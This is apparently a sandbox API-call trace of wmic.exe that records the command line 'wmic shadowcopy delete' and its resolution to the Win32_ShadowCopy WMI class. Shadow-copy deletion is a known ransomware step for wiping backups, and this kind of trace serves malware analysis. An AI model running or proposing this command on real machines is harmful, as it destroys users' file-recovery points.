[0129.845] SysStringLen (param_1="TABLE") returned 0x5 [0129.845] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0129.845] SysStringLen (param_1="VALUE") returned 0x5 [0129.845] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0129.845] SysStringLen (param_1="XML") returned 0x3 [0129.845] SysStringLen (param_1="XML") returned 0x3 [0129.845] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0129.845] malloc (_Size=0x30) returned 0x21c774da890 [0129.845] malloc (_Size=0x18) returned 0x21c774db200 [0129.845] free (_Block=0x21c774db200) [0129.845] malloc (_Size=0x18) returned 0x21c774db120 [0129.845] malloc (_Size=0x18) returned 0x21c774db100 [0129.845] SysStringLen (param_1="texttablewsys") returned 0xd [0129.845] SysStringLen (param_1="TABLE") returned 0x5 [0129.845] SysStringLen (param_1="texttablewsys") returned 0xd [0129.845] SysStringLen (param_1="XML") returned 0x3 [0129.845] SysStringLen (param_1="texttablewsys") returned 0xd [0129.845] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0129.845] SysStringLen (param_1="XML") returned 0x3 [0129.845] SysStringLen (param_1="texttablewsys") returned 0xd [0129.845] malloc (_Size=0x30) returned 0x21c774da710 [0129.845] malloc (_Size=0x18) returned 0x21c774db200 [0129.846] free (_Block=0x21c774db200) [0129.846] malloc (_Size=0x18) returned 0x21c774db3e0 [0129.846] malloc (_Size=0x18) returned 0x21c774db320 [0129.846] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0129.846] SysStringLen (param_1="TABLE") returned 0x5 [0129.846] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0129.846] SysStringLen (param_1="XML") returned 0x3 [0129.846] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0129.846] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0129.846] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0129.846] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0129.846] malloc (_Size=0x30) returned 0x21c774daa10 [0129.846] malloc (_Size=0x18) returned 0x21c774db200 [0129.846] free (_Block=0x21c774db200) [0129.846] malloc (_Size=0x18) returned 0x21c774db200 [0129.846] malloc (_Size=0x18) returned 0x21c774db220 [0129.846] SysStringLen (param_1="wmiclitableformat") returned 0x11 [0129.846] SysStringLen (param_1="TABLE") returned 0x5 [0129.846] SysStringLen (param_1="wmiclitableformat") returned 0x11 [0129.846] SysStringLen (param_1="XML") returned 0x3 [0129.846] SysStringLen (param_1="wmiclitableformat") returned 0x11 [0129.846] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0129.846] SysStringLen (param_1="wmiclitableformat") returned 0x11 [0129.846] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0129.846] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0129.846] SysStringLen (param_1="wmiclitableformat") returned 0x11 [0129.846] malloc (_Size=0x30) returned 0x21c774daa90 [0129.847] malloc (_Size=0x18) returned 0x21c774db240 [0129.847] free (_Block=0x21c774db240) [0129.847] malloc (_Size=0x18) returned 0x21c774db240 [0129.847] malloc (_Size=0x18) returned 0x21c774db300 [0129.847] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a [0129.847] SysStringLen (param_1="TABLE") returned 0x5 [0129.847] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a [0129.847] SysStringLen (param_1="XML") returned 0x3 [0129.847] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a [0129.847] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0129.847] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a [0129.847] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0129.847] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0129.847] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a [0129.847] malloc (_Size=0x30) returned 0x21c774da810 [0129.847] malloc (_Size=0x18) returned 0x21c774ddfd0 [0129.847] free (_Block=0x21c774ddfd0) [0129.847] malloc (_Size=0x18) returned 0x21c774dded0 [0129.847] malloc (_Size=0x18) returned 0x21c774ddc90 [0129.847] SysStringLen (param_1="wmiclitableformatnosys") returned 0x16 [0129.847] SysStringLen (param_1="TABLE") returned 0x5 [0129.847] SysStringLen (param_1="wmiclitableformatnosys") returned 0x16 [0129.847] SysStringLen (param_1="XML") returned 0x3 [0129.847] SysStringLen (param_1="wmiclitableformatnosys") returned 0x16 [0129.847] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0129.848] SysStringLen (param_1="wmiclitableformatnosys") returned 0x16 [0129.848] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0129.848] SysStringLen (param_1="wmiclitableformatnosys") returned 0x16 [0129.848] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a [0129.848] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0129.848] SysStringLen (param_1="wmiclitableformatnosys") returned 0x16 [0129.848] malloc (_Size=0x30) returned 0x21c774da950 [0129.848] malloc (_Size=0x18) returned 0x21c774ddc10 [0129.848] free (_Block=0x21c774ddc10) [0129.848] malloc (_Size=0x18) returned 0x21c774dda10 [0129.848] malloc (_Size=0x18) returned 0x21c774ddc50 [0129.848] SysStringLen (param_1="htable-sortby.xsl") returned 0x11 [0129.848] SysStringLen (param_1="TABLE") returned 0x5 [0129.848] SysStringLen (param_1="htable-sortby.xsl") returned 0x11 [0129.848] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0129.848] SysStringLen (param_1="htable-sortby.xsl") returned 0x11 [0129.848] SysStringLen (param_1="XML") returned 0x3 [0129.848] SysStringLen (param_1="htable-sortby.xsl") returned 0x11 [0129.848] SysStringLen (param_1="texttablewsys") returned 0xd [0129.848] SysStringLen (param_1="XML") returned 0x3 [0129.848] SysStringLen (param_1="htable-sortby.xsl") returned 0x11 [0129.848] malloc (_Size=0x30) returned 0x21c774da610 [0129.848] malloc (_Size=0x18) returned 0x21c774ddd90 [0129.848] free (_Block=0x21c774ddd90) [0129.849] malloc (_Size=0x18) returned 0x21c774ddd50 [0129.849] malloc (_Size=0x18) returned 0x21c774dda30 [0129.849] SysStringLen (param_1="htable-sortby") returned 0xd [0129.849] SysStringLen (param_1="TABLE") returned 0x5 [0129.849] SysStringLen (param_1="htable-sortby") returned 0xd [0129.849] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0129.849] SysStringLen (param_1="htable-sortby") returned 0xd [0129.849] SysStringLen (param_1="XML") returned 0x3 [0129.849] SysStringLen (param_1="htable-sortby") returned 0xd [0129.849] SysStringLen (param_1="texttablewsys") returned 0xd [0129.849] SysStringLen (param_1="htable-sortby") returned 0xd [0129.849] SysStringLen (param_1="htable-sortby.xsl") returned 0x11 [0129.849] SysStringLen (param_1="XML") returned 0x3 [0129.849] SysStringLen (param_1="htable-sortby") returned 0xd [0129.849] malloc (_Size=0x30) returned 0x21c774da750 [0129.849] malloc (_Size=0x18) returned 0x21c774ddcb0 [0129.849] free (_Block=0x21c774ddcb0) [0129.849] malloc (_Size=0x18) returned 0x21c774dd950 [0129.850] malloc (_Size=0x18) returned 0x21c774dde70 [0129.850] SysStringLen (param_1="wmiclimofformat.xsl") returned 0x13 [0129.850] SysStringLen (param_1="TABLE") returned 0x5 [0129.850] SysStringLen (param_1="wmiclimofformat.xsl") returned 0x13 [0129.850] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0129.850] SysStringLen (param_1="wmiclimofformat.xsl") returned 0x13 [0129.850] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0129.850] SysStringLen (param_1="wmiclimofformat.xsl") returned 0x13 [0129.850] SysStringLen (param_1="wmiclitableformat") returned 0x11 [0129.850] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0129.850] SysStringLen (param_1="wmiclimofformat.xsl") returned 0x13 [0129.850] malloc (_Size=0x30) returned 0x21c774daa50 [0129.850] malloc (_Size=0x18) returned 0x21c774ddc70 [0129.850] free (_Block=0x21c774ddc70) [0129.850] malloc (_Size=0x18) returned 0x21c774ddf70 [0129.850] malloc (_Size=0x18) returned 0x21c774dda50 [0129.850] SysStringLen (param_1="wmiclimofformat") returned 0xf [0129.850] SysStringLen (param_1="TABLE") returned 0x5 [0129.850] SysStringLen (param_1="wmiclimofformat") returned 0xf [0129.850] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0129.850] SysStringLen (param_1="wmiclimofformat") returned 0xf [0129.850] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0129.850] SysStringLen (param_1="wmiclimofformat") returned 0xf [0129.850] SysStringLen (param_1="wmiclitableformat") returned 0x11 [0129.850] SysStringLen (param_1="wmiclimofformat") returned 0xf [0129.850] SysStringLen (param_1="wmiclimofformat.xsl") returned 0x13 [0129.850] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0129.850] SysStringLen (param_1="wmiclimofformat") returned 0xf [0129.850] malloc (_Size=0x30) returned 0x21c774dab90 [0129.851] malloc (_Size=0x18) returned 0x21c774ddfb0 [0129.851] free (_Block=0x21c774ddfb0) [0129.851] malloc (_Size=0x18) returned 0x21c774dda70 [0129.851] malloc (_Size=0x18) returned 0x21c774ddf10 [0129.851] SysStringLen (param_1="wmiclivalueformat.xsl") returned 0x15 [0129.851] SysStringLen (param_1="TABLE") returned 0x5 [0129.851] SysStringLen (param_1="wmiclivalueformat.xsl") returned 0x15 [0129.851] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0129.851] SysStringLen (param_1="wmiclivalueformat.xsl") returned 0x15 [0129.851] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0129.851] SysStringLen (param_1="wmiclivalueformat.xsl") returned 0x15 [0129.851] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a [0129.851] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a [0129.851] SysStringLen (param_1="wmiclivalueformat.xsl") returned 0x15 [0129.851] malloc (_Size=0x30) returned 0x21c774da450 [0129.851] malloc (_Size=0x18) returned 0x21c774dda90 [0129.851] free (_Block=0x21c774dda90) [0129.851] malloc (_Size=0x18) returned 0x21c774ddef0 [0129.851] malloc (_Size=0x18) returned 0x21c774ddf30 [0129.851] SysStringLen (param_1="wmiclivalueformat") returned 0x11 [0129.851] SysStringLen (param_1="TABLE") returned 0x5 [0129.851] SysStringLen (param_1="wmiclivalueformat") returned 0x11 [0129.851] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0129.852] SysStringLen (param_1="wmiclivalueformat") returned 0x11 [0129.852] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0129.852] SysStringLen (param_1="wmiclivalueformat") returned 0x11 [0129.852] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a [0129.852] SysStringLen (param_1="wmiclivalueformat") returned 0x11 [0129.852] SysStringLen (param_1="wmiclivalueformat.xsl") returned 0x15 [0129.852] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a [0129.852] SysStringLen (param_1="wmiclivalueformat") returned 0x11 [0129.852] malloc (_Size=0x30) returned 0x21c774dab50 [0129.852] FreeThreadedDOMDocument:IUnknown:Release (This=0x21c774994b0) returned 0x1 [0129.852] FreeThreadedDOMDocument:IUnknown:Release (This=0x21c77496f20) returned 0x0 [0129.852] free (_Block=0x21c774db180) [0129.852] GetCommandLineW () returned="wmic shadowcopy delete" [0129.853] malloc (_Size=0x30) returned 0x21c774da7d0 [0129.853] memcpy_s (in: _Destination=0x21c774da7d0, _DestinationSize=0x2e, _Source=0x21c771d211c, _SourceSize=0x2e | out: _Destination=0x21c774da7d0) returned 0x0 [0129.853] malloc (_Size=0x18) returned 0x21c774dd970 [0129.853] malloc (_Size=0x18) returned 0x21c774ddc30 [0129.853] malloc (_Size=0x18) returned 0x21c774ddfd0 [0129.853] malloc (_Size=0x18) returned 0x21c774ddeb0 [0129.853] malloc (_Size=0x80) returned 0x21c774db420 [0129.853] GetLocalTime (in: lpSystemTime=0xc29553f718 | out: lpSystemTime=0xc29553f718*(wYear=0x7e3, wMonth=0x5, wDayOfWeek=0x5, wDay=0x18, wHour=0xa, wMinute=0x1b, wSecond=0x15, wMilliseconds=0x52)) [0129.853] _vsnwprintf (in: _Buffer=0x21c774db420, _BufferCount=0x3f, _Format="%.2d-%.2d-%.4dT%.2d:%.2d:%.2d", _ArgList=0xc29553f5c8 | out: _Buffer="05-24-2019T10:27:21") returned 19 [0129.853] lstrlenW (lpString=" shadowcopy delete") returned 19 [0129.853] malloc (_Size=0x28) returned 0x21c774d6000 [0129.853] lstrlenW (lpString=" shadowcopy delete") returned 19 [0129.853] lstrlenW (lpString=" shadowcopy delete") returned 19 [0129.853] malloc (_Size=0x28) returned 0x21c774de050 [0129.853] lstrlenW (lpString=" shadowcopy delete") returned 19 [0129.853] lstrlenW (lpString=" shadowcopy delete") returned 19 [0129.853] lstrlenW (lpString=" shadowcopy delete") returned 19 [0129.853] malloc (_Size=0x16) returned 0x21c774ddcb0 [0129.853] lstrlenW (lpString="shadowcopy") returned 10 [0129.853] _wcsicmp (_String1="shadowcopy", _String2="\"NULL\"") returned 81 [0129.853] malloc (_Size=0x16) returned 0x21c774ddb10 [0129.853] malloc (_Size=0x8) returned 0x21c774de080 [0129.854] free (_Block=0x0) [0129.854] free (_Block=0x21c774ddcb0) [0129.854] lstrlenW (lpString=" shadowcopy delete") returned 19 [0129.854] malloc (_Size=0xe) returned 0x21c774ddcb0 [0129.854] lstrlenW (lpString="delete") returned 6 [0129.854] _wcsicmp (_String1="delete", _String2="\"NULL\"") returned 66 [0129.854] malloc (_Size=0xe) returned 0x21c774ddf50 [0129.854] malloc (_Size=0x10) returned 0x21c774dd890 [0129.854] memmove_s (in: _Destination=0x21c774dd890, _DestinationSize=0x8, _Source=0x21c774de080, _SourceSize=0x8 | out: _Destination=0x21c774dd890) returned 0x0 [0129.854] free (_Block=0x21c774de080) [0129.854] free (_Block=0x0) [0129.854] free (_Block=0x21c774ddcb0) [0129.854] malloc (_Size=0x10) returned 0x21c774ddf90 [0129.854] lstrlenW (lpString="QUIT") returned 4 [0129.854] lstrlenW (lpString="shadowcopy") returned 10 [0129.854] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="shadowcopy", cchCount1=10, lpString2="QUIT", cchCount2=4) returned 3 [0129.854] lstrlenW (lpString="EXIT") returned 4 [0129.854] lstrlenW (lpString="shadowcopy") returned 10 [0129.854] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="shadowcopy", cchCount1=10, lpString2="EXIT", cchCount2=4) returned 3 [0129.854] free (_Block=0x21c774ddf90) [0129.854] WbemLocator:IUnknown:AddRef (This=0x21c771ec0f0) returned 0x2 [0129.854] malloc (_Size=0x10) returned 0x21c774dde10 [0129.854] lstrlenW (lpString="/") returned 1 [0129.854] lstrlenW (lpString="shadowcopy") returned 10 [0129.854] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="shadowcopy", cchCount1=10, lpString2="/", cchCount2=1) returned 3 [0129.854] lstrlenW (lpString="-") returned 1 [0129.854] lstrlenW (lpString="shadowcopy") returned 10 [0129.854] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="shadowcopy", cchCount1=10, lpString2="-", cchCount2=1) returned 3 [0129.854] lstrlenW (lpString="CLASS") returned 5 [0129.854] lstrlenW (lpString="shadowcopy") returned 10 [0129.854] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="shadowcopy", cchCount1=10, lpString2="CLASS", cchCount2=5) returned 3 [0129.854] lstrlenW (lpString="PATH") returned 4 [0129.854] lstrlenW (lpString="shadowcopy") returned 10 [0129.854] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="shadowcopy", cchCount1=10, lpString2="PATH", cchCount2=4) returned 3 [0129.854] lstrlenW (lpString="CONTEXT") returned 7 [0129.854] lstrlenW (lpString="shadowcopy") returned 10 [0129.854] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="shadowcopy", cchCount1=10, lpString2="CONTEXT", cchCount2=7) returned 3 [0129.854] lstrlenW (lpString="shadowcopy") returned 10 [0129.854] malloc (_Size=0x16) returned 0x21c774ddad0 [0129.854] lstrlenW (lpString="shadowcopy") returned 10 [0129.855] GetCurrentThreadId () returned 0xfc8 [0129.855] ??0CHString@@QEAA@XZ () returned 0xc29553f480 [0129.855] malloc (_Size=0x18) returned 0x21c774dd9f0 [0129.855] malloc (_Size=0x18) returned 0x21c774ddf90 [0129.855] WbemLocator:IWbemLocator:ConnectServer (in: This=0x21c771ec0f0, strNetworkResource="root\\cli", strUser=0x0, strPassword=0x0, strLocale="ms_409", lSecurityFlags=0, strAuthority=0x0, pCtx=0x0, ppNamespace=0x7ff6389c7898 | out: ppNamespace=0x7ff6389c7898*=0x21c77243b20) returned 0x0 [0129.916] free (_Block=0x21c774ddf90) [0129.916] free (_Block=0x21c774dd9f0) [0129.916] CoSetProxyBlanket (pProxy=0x21c77243b20, dwAuthnSvc=0xffffffff, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x0) returned 0x0 [0129.916] ??1CHString@@QEAA@XZ () returned 0x7ffcb771674c [0129.916] GetCurrentThreadId () returned 0xfc8 [0129.916] ??0CHString@@QEAA@XZ () returned 0xc29553f318 [0129.916] malloc (_Size=0x18) returned 0x21c774dd990 [0129.917] malloc (_Size=0x18) returned 0x21c774dddd0 [0129.917] malloc (_Size=0x18) returned 0x21c774ddcb0 [0129.917] malloc (_Size=0x18) returned 0x21c774dda90 [0129.917] SysStringLen (param_1="root\\cli") returned 0x8 [0129.917] SysStringLen (param_1="\\") returned 0x1 [0129.917] malloc (_Size=0x18) returned 0x21c774dd9b0 [0129.917] SysStringLen (param_1="root\\cli\\") returned 0x9 [0129.917] SysStringLen (param_1="ms_409") returned 0x6 [0129.917] free (_Block=0x21c774dda90) [0129.917] free (_Block=0x21c774ddcb0) [0129.917] free (_Block=0x21c774dddd0) [0129.917] free (_Block=0x21c774dd990) [0129.917] malloc (_Size=0x18) returned 0x21c774ddcb0 [0129.917] WbemLocator:IWbemLocator:ConnectServer (in: This=0x21c771ec0f0, strNetworkResource="root\\cli\\ms_409", strUser=0x0, strPassword=0x0, strLocale="ms_409", lSecurityFlags=0, strAuthority=0x0, pCtx=0x0, ppNamespace=0x7ff6389c78a0 | out: ppNamespace=0x7ff6389c78a0*=0x21c77243340) returned 0x0 [0129.938] free (_Block=0x21c774ddcb0) [0129.938] free (_Block=0x21c774dd9b0) [0129.938] ??1CHString@@QEAA@XZ () returned 0x7ffcb771674c [0129.938] GetCurrentThreadId () returned 0xfc8 [0129.938] ??0CHString@@QEAA@XZ () returned 0xc29553f498 [0129.938] malloc (_Size=0x18) returned 0x21c774ddaf0 [0129.938] malloc (_Size=0x18) returned 0x21c774ddf90 [0129.938] malloc (_Size=0x18) returned 0x21c774dda90 [0129.938] lstrlenA (lpString="MSFT_CliAlias.FriendlyName='") returned 28 [0129.938] malloc (_Size=0x3a) returned 0x21c774deb40 [0129.938] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7ff6389aac40, cbMultiByte=-1, lpWideCharStr=0x21c774deb40, cchWideChar=29 | out: lpWideCharStr="MSFT_CliAlias.FriendlyName='") returned 29 [0129.938] free (_Block=0x21c774deb40) [0129.938] malloc (_Size=0x18) returned 0x21c774ddfb0 [0129.938] SysStringLen (param_1="MSFT_CliAlias.FriendlyName='") returned 0x1c [0129.938] SysStringLen (param_1="shadowcopy") returned 0xa [0129.938] malloc (_Size=0x18) returned 0x21c774dd9b0 [0129.938] SysStringLen (param_1="MSFT_CliAlias.FriendlyName='shadowcopy") returned 0x26 [0129.938] SysStringLen (param_1="'") returned 0x1 [0129.938] free (_Block=0x21c774ddfb0) [0129.938] free (_Block=0x21c774dda90) [0129.938] free (_Block=0x21c774ddf90) [0129.938] free (_Block=0x21c774ddaf0) [0129.938] IWbemServices:GetObject (in: This=0x21c77243b20, strObjectPath="MSFT_CliAlias.FriendlyName='shadowcopy'", lFlags=0, pCtx=0x0, ppObject=0xc29553f3c0*=0x0, ppCallResult=0x0 | out: ppObject=0xc29553f3c0*=0x21c77258290, ppCallResult=0x0) returned 0x0 [0130.012] malloc (_Size=0x18) returned 0x21c774ddb90 [0130.012] IWbemClassObject:Get (in: This=0x21c77258290, wszName="Target", lFlags=0, pVal=0xc29553f3d8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x0, plFlavor=0x0 | out: pVal=0xc29553f3d8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Select * from Win32_ShadowCopy", varVal2=0x0), pType=0x0, plFlavor=0x0) returned 0x0 [0130.012] free (_Block=0x21c774ddb90) [0130.012] lstrlenW (lpString="Select * from Win32_ShadowCopy") returned 30 [0130.012] malloc (_Size=0x3e) returned 0x21c774deb40 [0130.012] lstrlenW (lpString="Select * from Win32_ShadowCopy") returned 30 [0130.013] malloc (_Size=0x18) returned 0x21c774ddf90 [0130.013] IWbemClassObject:Get (in: This=0x21c77258290, wszName="PWhere", lFlags=0, pVal=0xc29553f3d8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x0, plFlavor=0x0 | out: pVal=0xc29553f3d8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=" Where ID = '#'", varVal2=0x0), pType=0x0, plFlavor=0x0) returned 0x0 [0130.013] free (_Block=0x21c774ddf90) [0130.013] lstrlenW (lpString=" Where ID = '#'") returned 15 [0130.013] malloc (_Size=0x20) returned 0x21c774deb90 [0130.013] lstrlenW (lpString=" Where ID = '#'") returned 15 [0130.013] malloc (_Size=0x18) returned 0x21c774dd8d0 [0130.013] IWbemClassObject:Get (in: This=0x21c77258290, wszName="Connection", lFlags=0, pVal=0xc29553f3d8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x0, plFlavor=0x0 | out: pVal=0xc29553f3d8*(varType=0xd, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x21c77258540, varVal2=0x0), pType=0x0, plFlavor=0x0) returned 0x0 [0130.013] free (_Block=0x21c774dd8d0) [0130.013] IUnknown:QueryInterface (in: This=0x21c77258540, riid=0x7ff6389b0598*(Data1=0xdc12a681, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0xc29553f3c8 | out: ppvObject=0xc29553f3c8*=0x21c77258540) returned 0x0 [0130.013] GetCurrentThreadId () returned 0xfc8 [0130.013] ??0CHString@@QEAA@XZ () returned 0xc29553f2e8 [0130.013] malloc (_Size=0x18) returned 0x21c774dd8f0 [0130.013] IWbemClassObject:Get (in: This=0x21c77258540, wszName="Namespace", lFlags=0, pVal=0xc29553f2f0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x0, plFlavor=0x0 | out: pVal=0xc29553f2f0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="ROOT\\CIMV2", varVal2=0x0), pType=0x0, plFlavor=0x0) returned 0x0 [0130.013] free (_Block=0x21c774dd8f0) [0130.013] lstrlenW (lpString="ROOT\\CIMV2") returned 10 [0130.014] malloc (_Size=0x16) returned 0x21c774ddaf0 [0130.014] lstrlenW (lpString="ROOT\\CIMV2") returned 10 [0130.014] malloc (_Size=0x18) returned 0x21c774ddf90 [0130.014] IWbemClassObject:Get (in: This=0x21c77258540, wszName="Locale", lFlags=0, pVal=0xc29553f2f0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x21c77236a28, varVal2=0x0), pType=0x0, plFlavor=0x0 | out: pVal=0xc29553f2f0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="ms_409", varVal2=0x0), pType=0x0, plFlavor=0x0) returned 0x0 [0130.014] free (_Block=0x21c774ddf90) [0130.014] lstrlenW (lpString="ms_409") returned 6 [0130.014] malloc (_Size=0xe) returned 0x21c774dd8f0 [0130.014] lstrlenW (lpString="ms_409") returned 6 [0130.014] malloc (_Size=0x18) returned 0x21c774ddb30 [0130.014] IWbemClassObject:Get (in: This=0x21c77258540, wszName="User", lFlags=0, pVal=0xc29553f2f0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x21c77236a28, varVal2=0x0), pType=0x0, plFlavor=0x0 | out: pVal=0xc29553f2f0*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x0, plFlavor=0x0) returned 0x0 [0130.014] free (_Block=0x21c774ddb30) [0130.014] malloc (_Size=0x18) returned 0x21c774ddd90 [0130.014] IWbemClassObject:Get (in: This=0x21c77258540, wszName="Password", lFlags=0, pVal=0xc29553f2f0*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x0, plFlavor=0x0 | out: pVal=0xc29553f2f0*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x0, plFlavor=0x0) returned 0x0 [0130.014] free (_Block=0x21c774ddd90) [0130.014] malloc (_Size=0x18) returned 0x21c774ddb30 [0130.014] IWbemClassObject:Get (in: This=0x21c77258540, wszName="Server", lFlags=0, pVal=0xc29553f2f0*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x0, plFlavor=0x0 | out: pVal=0xc29553f2f0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=".", varVal2=0x0), pType=0x0, plFlavor=0x0) returned 0x0 [0130.014] free (_Block=0x21c774ddb30) [0130.014] lstrlenW (lpString=".") returned 1 [0130.014] malloc (_Size=0x4) returned 0x21c774debc0 [0130.014] lstrlenW (lpString=".") returned 1 [0130.014] malloc (_Size=0x18) returned 0x21c774dd9f0 [0130.014] IWbemClassObject:Get (in: This=0x21c77258540, wszName="Authority", lFlags=0, pVal=0xc29553f2f0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x21c77236a28, varVal2=0x0), pType=0x0, plFlavor=0x0 | out: pVal=0xc29553f2f0*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x0, plFlavor=0x0) returned 0x0 [0130.014] free (_Block=0x21c774dd9f0) [0130.014] ??1CHString@@QEAA@XZ () returned 0x7ffcb771674c [0130.014] IUnknown:Release (This=0x21c77258540) returned 0x1 [0130.015] GetCurrentThreadId () returned 0xfc8 [0130.015] ??0CHString@@QEAA@XZ () returned 0xc29553f2e8 [0130.015] malloc (_Size=0x18) returned 0x21c774ddff0 [0130.015] IWbemClassObject:Get (in: This=0x21c77258290, wszName="__RELPATH", lFlags=0, pVal=0xc29553f2f8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x0, plFlavor=0x0 | out: pVal=0xc29553f2f8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="MSFT_CliAlias.FriendlyName=\"ShadowCopy\"", varVal2=0x0), pType=0x0, plFlavor=0x0) returned 0x0 [0130.015] free (_Block=0x21c774ddff0) [0130.015] malloc (_Size=0x18) returned 0x21c774ddd30 [0130.015] GetCurrentThreadId () returned 0xfc8 [0130.015] ??0CHString@@QEAA@XZ () returned 0xc29553f1b8 [0130.015] ??0CHString@@QEAA@PEBG@Z () returned 0xc29553f1d0 [0130.015] ??0CHString@@QEAA@AEBV0@@Z () returned 0xc29553f148 [0130.015] ?Empty@CHString@@QEAAXXZ () returned 0x7ffcb771674c [0130.015] ?GetData@CHString@@IEBAPEAUCHStringData@@XZ () returned 0x21c774debe0 [0130.015] ?Find@CHString@@QEBAHPEBG@Z () returned 0x1b [0130.015] ?Left@CHString@@QEBA?AV1@H@Z () returned 0xc29553f158 [0130.015] ??H@YA?AVCHString@@AEBV0@PEBG@Z () returned 0xc29553f150 [0130.015] ??YCHString@@QEAAAEBV0@AEBV0@@Z () returned 0xc29553f1d0 [0130.015] ??1CHString@@QEAA@XZ () returned 0x1 [0130.015] ??1CHString@@QEAA@XZ () returned 0x1 [0130.015] ?Mid@CHString@@QEBA?AV1@H@Z () returned 0xc29553f120 [0130.015] ??4CHString@@QEAAAEBV0@AEBV0@@Z () returned 0xc29553f148 [0130.015] ??1CHString@@QEAA@XZ () returned 0x1 [0130.015] ?GetData@CHString@@IEBAPEAUCHStringData@@XZ () returned 0x21c774dec50 [0130.015] ?Find@CHString@@QEBAHPEBG@Z () returned 0xa [0130.015] ?Left@CHString@@QEBA?AV1@H@Z () returned 0xc29553f158 [0130.015] ??H@YA?AVCHString@@AEBV0@PEBG@Z () returned 0xc29553f150 [0130.015] ??YCHString@@QEAAAEBV0@AEBV0@@Z () returned 0xc29553f1d0 [0130.015] ??1CHString@@QEAA@XZ () returned 0x1 [0130.015] ??1CHString@@QEAA@XZ () returned 0x1 [0130.015] ?Mid@CHString@@QEBA?AV1@H@Z () returned 0xc29553f120 